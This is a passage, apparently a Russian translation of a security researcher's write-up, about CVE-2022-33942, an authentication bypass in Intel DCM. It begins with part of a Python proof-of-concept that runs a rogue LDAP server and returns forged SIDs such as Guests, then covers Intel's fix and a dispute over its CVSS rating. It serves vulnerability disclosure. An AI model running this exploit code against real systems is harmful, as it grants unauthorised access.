                data = encode(msg1) + encode(msg2) + encode(SearchResultDone_request(messageID))
                conn.send(data)
            elif messageID == 3:
                print("[+] Sending searchResEntry results #2 returning a dummy user record")
                res = SearchResultEntry()
                res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')

                res['attributes'] = PartialAttributeList()
                res['attributes'][0] = PartialAttribute()
                res['attributes'][0]['type'] = AttributeDescription('distinguishedName')
                res['attributes'][0]['vals'] = Vals()
                res['attributes'][0]['vals'][0] = AttributeValue('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
                msg1 = LDAPMessage()
                msg1['messageID'] = MessageID(messageID)
                msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)

                # Let's put the LDAPMessages together
                data = encode(msg1) + encode(SearchResultDone_request(messageID))
                conn.send(data)
            elif messageID == 4:
                print("[+] Sending searchResEntry results #3 exploiting the well-known 'Guests' SID")
                # Returns SIDs S-1-5-32-546 (Guests), S-1-5-32-545 (Users) and a random SID for Domain Users
                res = SearchResultEntry()
                res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')

                res['attributes'] = PartialAttributeList()
                res['attributes'][0] = PartialAttribute()
                res['attributes'][0]['type'] = AttributeDescription('tokenGroups')
                res['attributes'][0]['vals'] = Vals()
                res['attributes'][0]['vals'][0] = AttributeValue(
                    b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x22\x02\x00\x00') # S-1-5-32-546 (Guests)
                res['attributes'][0]['vals'][1] = AttributeValue(
                    b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00') # S-1-5-32-545 (Users)
                res['attributes'][0]['vals'][2] = AttributeValue(
                    b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') # random sid
                msg1 = LDAPMessage()
                msg1['messageID'] = MessageID(messageID)
                msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)

                # Let's put the LDAPMessages together
                data = encode(msg1) + encode(SearchResultDone_request(messageID))
                conn.send(data)

                print("[+] Exploit done. Enjoy your access :-)")
                s.close()
                exit(0)

Вот эксплойт в действии:

https://www.rcesecurity.com/wp-content/uploads/2022/11/CVE-2022-33942-PoC.mov

Исправление Intel

Intel исправила эту проблему, применив LDAPS и выполнив дополнительную проверку сертификата во внутреннем SSL-хранилище DCM, где сертификат Active Directory CA должен быть доверенным, начиная с версии 5.0 DCM.

О неправильной интерпретации CVSS от Intel

Изначально я сообщил об этой ошибке в программу вознаграждения Intel. Важно отметить, что в политике программы указано, что они используют CVSS для оценки влияния уязвимости, а значит, они должны следовать официальному определению CVSS, верно? Не совсем так. Intel понизила рейтинг этой проблемы до 8.8 по CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, а также упоминает об этом в своем бюллетене безопасности INTEL-SA-00713. Вам интересно, почему мой официальный совет оценивает эту проблему в 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)?

AV:A против AV:N

Intel считает, что "DCM - это корпоративное приложение и было разработано для административных сетей", что является их оправданием для понижения AV-вектора. Я привел им официальный документ спецификации CVSS, в котором значение Adjacent определяется следующим образом:

"Уязвимый компонент связан с сетевым стеком, но атака ограничена на уровне протокола логически смежной топологией. Это может означать, что атака должна быть начата из той же общей физической (например, Bluetooth или IEEE 802.11) или логической (например, локальная IP-подсеть) сети, или из безопасного или иным образом ограниченного административного домена (например, MPLS, безопасная VPN в административной сетевой зоне). Одним из примеров смежной атаки может быть ARP (IPv4) или соседское обнаружение (IPv6), приводящее к отказу в обслуживании в локальном сегменте LAN (например, CVE-2013-6014)".

Хотя уязвимый компонент действительно привязан к сетевому стеку, он НЕ ограничен на уровне протокола - они даже не применяют никаких правил iptables или подобных, чтобы заставить его быть смежным. Поэтому AV должен быть установлен на N.

UI:R против UI:N

Intel также считает, что UI:R применяется потому, что администратор должен настроить DCM таким образом, чтобы разрешить аутентификацию для группы Active Directory с известным SID. Однако в документе спецификации CVSS это условие изменения конфигурации явно упоминается в векторе сложности атаки:
Если для успеха атаки требуется определенная конфигурация, базовые метрики должны оцениваться, исходя из того, что уязвимый компонент находится в этой конфигурации.
Это означает, что вектор UI должен оставаться нетронутым в UI:N, а вектор AC должен быть установлен на базовую метрику в AC:L.

Последствия

Intel сделала одноразовое исключение и вознаградила 10 000 долларами за эту ошибку, что замечательно, но это также была напряженная борьба, чтобы добраться до этой точки.
Для хакеров и программ вознаграждения за баги очень важно иметь общий базовый уровень для измерения последствий и обсуждения на его основе. Я также признаю, что существует некоторое игровое пространство в отношении интерпретации CVSS, но принципиальное игнорирование основных определений базовой структуры, по сути, означает разрушение доверия с хакерами.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх